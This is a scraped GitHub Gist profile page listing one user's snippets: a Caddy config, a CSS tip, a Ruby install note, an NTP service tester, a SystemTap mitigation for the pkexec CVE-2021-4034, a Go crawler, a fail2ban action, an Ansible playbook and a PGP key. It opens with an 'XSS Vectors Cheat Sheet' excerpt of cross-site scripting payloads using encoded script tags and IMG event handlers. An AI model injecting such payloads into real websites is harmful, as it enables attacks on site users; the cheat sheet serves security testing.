Skip to content

Instantly share code, notes, and snippets.

View birkhofflee's full-sized avatar
🎓
Learning about CS

birkhoff birkhofflee

🎓
Learning about CS
View GitHub Profile
@birkhofflee
birkhofflee / xss_vectors.txt
Created December 28, 2022 10:02 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@birkhofflee
birkhofflee / Caddyfile
Created December 14, 2022 17:20
Caddy on Docker for SPA website (e.g. Vue Router)
:3000 {
root * /app
try_files {path}.html {path} /index.html
file_server
header {
-server
}
}
@birkhofflee
birkhofflee / 55-bytes-of-css.md
Created September 26, 2022 08:41 — forked from JoeyBurzynski/55-bytes-of-css.md
58 bytes of css to look great nearly everywhere

58 bytes of CSS to look great nearly everywhere

When making this website, i wanted a simple, reasonable way to make it look good on most displays. Not counting any minimization techniques, the following 58 bytes worked well for me:

main {
  max-width: 38rem;
  padding: 2rem;
  margin: auto;
}
@birkhofflee
birkhofflee / README.md
Created September 12, 2022 02:32
Install ruby 3.1.2 on M1 with rbenv with homebrew openssl and a mitigation of libtool deprecation
@birkhofflee
birkhofflee / test-ntp.py
Created August 27, 2022 20:31 — forked from adulau/test-ntp.py
test-ntp.py - Test a set of IP addresses for active NTP services
#!/usr/bin/env python
#
# Requirements: ntplib (easy_install ntplib)
#
# How to use it using GNU parallel (to run in //):
#
# cut -f1 -d";" ntp-monlist-servers.csv | parallel "python test-ntp.py --ip {1}"
#
# Software is free software released under the "Modified BSD license"
#
@birkhofflee
birkhofflee / pkexec_block.stp
Last active January 27, 2022 04:08
Mitigate CVE-2021-4034 on CentOS 8 with Ansible
probe process("/usr/bin/pkexec").function("main") {
if (cmdline_arg(1) == "")
raise(9);
}
@birkhofflee
birkhofflee / crawler.go
Created January 19, 2021 17:14
My first concurrent program with goroutine (for commemoration purposes)
// https://tour.golang.org/concurrency/10
package main
import (
"fmt"
"sync"
)
type SafeMap struct {
@birkhofflee
birkhofflee / custom-firewalld.conf
Created May 7, 2020 13:10
/etc/fail2ban/action.d/custom-firewalld.conf
[INCLUDES]
before =
[Definition]
actionstart =
actionstop =
actioncheck =
actionflush = sed -i '/<source address=/d' /etc/firewalld/zones/drop.xml
actionban = firewall-cmd --change-source=<ip> --zone=drop && firewall-cmd --change-source=<ip> --zone=drop --permanent
@birkhofflee
birkhofflee / playbook.yml
Last active April 27, 2020 03:41
Install Docker Engine on CentOS 7
become: yes
tasks:
- name: Gather the rpm package facts
package_facts:
manager: auto
- name: Check whether docker-ce is installed
set_fact:
docker_installed: true
when: "'docker-ce' in ansible_facts.packages"
@birkhofflee
birkhofflee / pgp.pub
Created January 12, 2020 23:39
Birkhoff Lee's PGP key
-----BEGIN PGP PUBLIC KEY BLOCK-----
mQINBF4beKUBEADaDr1y6DY43tdUk6Ak5++au3Pwbwh+PRjn/b1u6IfXb9hVw1yq1YWFG/L1
hBopCm0KihrDvwFYpgfWvdKTO2WE/LToVuvAZP9Dsu3MRGZWHHZ2ct/Yn4Q5MgqQdu7zNTVO
t8RGmA3P7kHLY4fdsj5h/62PjTObqbDA5oX162kYgYBzlohrftxws+k3cmDDnPcJSW8iWVzF
V9f2tBAr1yArvpCiMQ49UPLfiN9/PzlUNwQwRS2XKKYderToPN1JyCxBYIfaJ3FKmqp52fnq
ytxv3f5mXI9hbpvVQYU+gFBbhzWAPF0Uvjv3dhonGP9H/xvbdfjS9Zlk7opPMaxgaKD/D+YT
y+8fG9sVVp7Gs/7Yt/g08MEG9m0yBdDpwnFXMX+oqBmzyrzEvthxAztd9LT94mjaQrJCoOfo
vOOF5g3Z0S4xLOVr7JZXulHHqrNP+KVdmSoX7ESjgB8mv0tWZkR96B/z5MJahikPthVTTH+1
4UNU/h72jKimjPbd0NQ8v/pwqOGlipWxG1jAE43cUZlRv3hmDtGJynCBVkVid9yibp1nmoMr